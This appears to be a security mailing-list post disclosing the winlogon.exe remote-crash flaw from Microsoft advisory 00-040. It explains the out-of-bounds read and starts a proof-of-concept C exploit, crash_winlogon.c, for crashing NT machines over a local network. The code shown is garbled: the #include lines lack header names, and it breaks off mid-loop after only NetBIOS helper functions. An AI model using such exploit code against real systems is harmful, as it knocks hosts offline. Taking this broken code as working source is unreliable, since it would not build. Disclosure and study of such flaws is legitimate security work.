Hi,
Since the release of MS advisory 00-040, I was asked by various persons
more details about the bug described in it. This bug allows a user of a
local network to crash winlogon.exe remotely.
Here is a proof of concept code which will hopefully reproduce
the problem. Nessus users have had this available as a .nasl
script for a few days now, so I have translated the code to ugly
C for the others (yes, we, Nessus developers, are open-minded).
A quick sum up is that at some place in the winlogon.exe code,
there was some instruction like :
value = ptr[length];
where 'ptr' is a ptr to the received packet, and 'length' is
a variable which is somewhere in the packet. By malforming
the proper request, it is possible to make the code execute
value = ptr[0xFFFF];
Which *may* cause an application error in winlogon.exe. This will
pop up a Dr. Watson error dialog, and will crash NT as soon
as the dialog is validated.
There are some "random" conditions that are necessary to make this
code work. This means: 100% success is not garanteed. So don't
bug me if that does not work for you.
Please read MS advisory 00-040 for patch information.
-------{ cut here }-------------------------------------------------------
/*
* crash_winlogon.c
*
* by Renaud Deraison - deraison@cvs.nessus.org
*
* This code is released under the GNU General Public License.
* (thanks for respecting this license)
*
* In case you are wondering, here is the motto I applied for this code :
*
* "Structures are for sissies"
*/
#include
#include
#ifdef WIN32
#include
#define bzero(x,y) memset(x, 0, y)
#else
#include
#include
#include
#include
#define closesocket(x) close(x)
#endif
char * netbios_name(char * orig)
{
int i, len;
char * ret = malloc(40);
bzero(ret, 40);
len = strlen(orig);
for(i=0;i<16;i++)
{
if(i >= len)
strcat(ret, "CA");
else
{
int odiv, omod;
odiv = (orig[i] / 16) + 'A';
omod = (orig[i] % 16) + 'A';
ret[strlen(ret)]=odiv;
ret[strlen(ret)]=omod;
}
}
return(ret);
}
char * netbios_redirector()
{
int i;
char * ret = malloc(31);
bzero(ret, 31);
for(i=0;i<15;i++)strcat(ret, "CA");
strcat(ret, "AA");
return(ret);
}
char* unicode(char * data)
{
int len = strlen(data);
int i;
char * ret = malloc(110);
int l = 0;
bzero(ret,110);
for(i=0;i